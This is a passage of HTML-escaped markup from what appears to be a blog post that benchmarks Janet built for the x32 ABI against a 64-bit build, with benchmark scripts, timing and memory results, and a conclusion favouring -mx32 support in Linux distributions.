&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;PM&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; install file::judge&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/lib/janet/bin/judge&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; declarative-dsls/tests.janet &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; to show that it worked&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we compare them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; apt install time &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; different from just time&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;/usr/bin/time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;f&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;%e s  %M KB&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt; janet64/bin/janet janet64/lib/janet/bin/judge janet64/declarative-dsls/tests.janet&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;/usr/bin/time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;f&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;%e s  %M KB&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt; janetx32/bin/janet janetx32/lib/janet/bin/judge janetx32/declarative-dsls/tests.janet&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;2.42&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; s  61668 KB &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; 64bit&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;2.36&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; s  53472 KB &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; 32bit&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/veqq/declarative-dsls&quot;&gt;declarative-dsls&lt;/a&gt; is a worst case scenario, using &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/veqq/varray&quot;&gt;typed c arrays&lt;/a&gt; for big speed ups, which don’t benefit much from this. Lets make some minimal benchmarks to really test the differences:&lt;/p&gt;
&lt;p&gt;See the Benchmarks Scripts&lt;/p&gt;
&lt;p&gt;&lt;code&gt;words.janet&lt;/code&gt; builds a text, splits it into words, counts them and sorts on that:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-janet&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Janet&quot;&gt;(let [start (os/clock :monotonic)
      rng (math/rng 42)
      vocab (seq [i :range [0 5000]] (string &amp;quot;w&amp;quot; (math/rng-int rng 100000)))
      text @&amp;quot;&amp;quot;
      counts @{}]
  (repeat 600000 (buffer/push text (in vocab (math/rng-int rng 5000)) &amp;quot; &amp;quot;))
  (each word (string/split &amp;quot; &amp;quot; text)
    (put counts word (+ 1 (get counts word 0))))
  (pp (take 3 (sort-by |(- (in $ 1)) (pairs counts))))
  (print (length counts) &amp;quot; distinct words&amp;quot;)
  (print (- (os/clock :monotonic) start) &amp;quot; s&amp;quot;))
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;records.janet&lt;/code&gt; groups structs by department and summarizes those departments, with unused extra fields like real code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-janet&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Janet&quot;&gt;(let [start (os/clock :monotonic)
      rng (math/rng 7)
      depts [:eng :ops :sales :legal :support]
      people (seq [i :range [0 300000]]
               {:id i
               # :name and :tags not used
                :name (string &amp;quot;person-&amp;quot; i)
                :dept (in depts (math/rng-int rng 5))
                :salary (+ 30000 (math/rng-int rng 90000))
                :tags [(math/rng-int rng 10) (math/rng-int rng 10)]})
      by-dept (group-by |(in $ :dept) people)]
  (each dept (sorted (keys by-dept))
    (let [staff (in by-dept dept)
          salaries (map |(in $ :salary) staff)]
      (pp [dept
           (length staff)
           (math/round (/ (sum salaries) (length staff)))
           (length (filter |(&amp;gt; $ 100000) salaries))])))
  (print (- (os/clock :monotonic) start) &amp;quot; s&amp;quot;))
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;parse.janet&lt;/code&gt; parses lines with a PEG and totals them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-janet&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Janet&quot;&gt;(let [start (os/clock :monotonic)
      rng (math/rng 3)
      lines (seq [i :range [0 200000]]
              (string i &amp;quot;,&amp;quot; (math/rng-int rng 1000) &amp;quot;,item-&amp;quot; (math/rng-int rng 500) &amp;quot;,&amp;quot; (/ (math/rng-int rng 10000) 100)))
      row (peg/compile
            ~{:num (number (some (set &amp;quot;0123456789.&amp;quot;)))
              :txt (capture (some (if-not &amp;quot;,&amp;quot; 1)))
              :main (* :num &amp;quot;,&amp;quot; :num &amp;quot;,&amp;quot; :txt &amp;quot;,&amp;quot; :num -1)})
      rows (map |(peg/match row $) lines)
      totals @{}]
  (each [id qty item price] rows
    (put totals item (+ (get totals item 0) (* qty price))))
  (print (length rows) &amp;quot; rows, &amp;quot; (length totals) &amp;quot; items, total &amp;quot; (math/round (sum (values totals))))
  (print (- (os/clock :monotonic) start) &amp;quot; s&amp;quot;))
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;tree.janet&lt;/code&gt; builds and walks binary trees, our pointer-heaviest example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-janet&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Janet&quot;&gt;(let [start (os/clock :monotonic)
      make (fn make [depth]
             (if (= depth 0)
               [nil nil]
               [(make (- depth 1)) (make (- depth 1))]))
      check (fn check [node]
              (if (in node 0)
                (+ 1 (check (in node 0)) (check (in node 1)))
                1))
      long-lived (make 19)]
  (var total 0)
  (repeat 40 (+= total (check (make 14))))
  (print total &amp;quot; &amp;quot; (check long-lived))
  (print (- (os/clock :monotonic) start) &amp;quot; s&amp;quot;))
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We benchmark:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-for syntax-shell&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-for syntax-shell&quot;&gt; f &lt;span class=&quot;syntax-keyword syntax-control syntax-in syntax-shell&quot;&gt;in&lt;/span&gt; words records tree parse&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-logical syntax-continue syntax-shell&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-control syntax-do syntax-shell&quot;&gt;do&lt;/span&gt;  
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;   /usr/bin/time&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;f&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;f&lt;/span&gt;&lt;/span&gt; 64:  %e s  %M KB&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; janet64/bin/janet &lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;f&lt;/span&gt;&lt;/span&gt;.janet &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt;   /usr/bin/time&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;f&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;f&lt;/span&gt;&lt;/span&gt; x32: %e s  %M KB&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; janetx32/bin/janet &lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;f&lt;/span&gt;&lt;/span&gt;.janet &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt; done  &lt;/span&gt;
 
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;words&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  0.58 s  41904 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;words&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 0.67 s  31856 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;records&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  6.40 s  138164 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;records&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 5.80 s  126916 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  1.39 s  50504 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 1.50 s  35532 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;parse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  3.20 s  58504 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;parse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 3.19 s  44428 KB&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;words&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  0.63 s  41984 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;words&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 0.70 s  31976 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;records&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  6.71 s  138240 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;records&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 5.77 s  126844 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  1.40 s  50392 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 1.48 s  35304 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;parse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  3.37 s  58592 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;parse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 3.09 s  44496 KB&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;words&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  0.59 s  41756 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;words&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 0.67 s  31788 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;records&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  6.50 s  138384 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;records&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 5.80 s  126960 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  1.39 s  50288 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 1.43 s  35560 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;parse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  3.35 s  58520 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;parse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 3.24 s  44572 KB&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;words&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  0.60 s  42012 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;words&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 0.67 s  31896 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;records&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  6.29 s  138448 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;records&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 6.00 s  126832 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  1.38 s  50176 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 1.43 s  35392 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;parse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 64:  3.36 s  58384 KB  &lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;parse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; x32: 3.13 s  44364 KB&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;-mx32&lt;/code&gt; cut RAM use by 21% (8-32%) with equal speed (-13% slower to 10% faster), while &lt;code&gt;-x32&lt;/code&gt; reduced speed by half. Janet is a worst case where nanboxing already packs values into 8 bytes so the main benefit’s smaller headers. I invite others to test their software and languages similarly. With continued x32 support, we could use this as a default for scripts, utilities, daemons and the like. I thus believe Linux distros should include &lt;code&gt;-mx32&lt;/code&gt; support and daemons and utilities should be compiled down for more efficient idling and day to day computing! It only costs a flag.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;P.S. Implications for Janet&lt;/h3&gt;
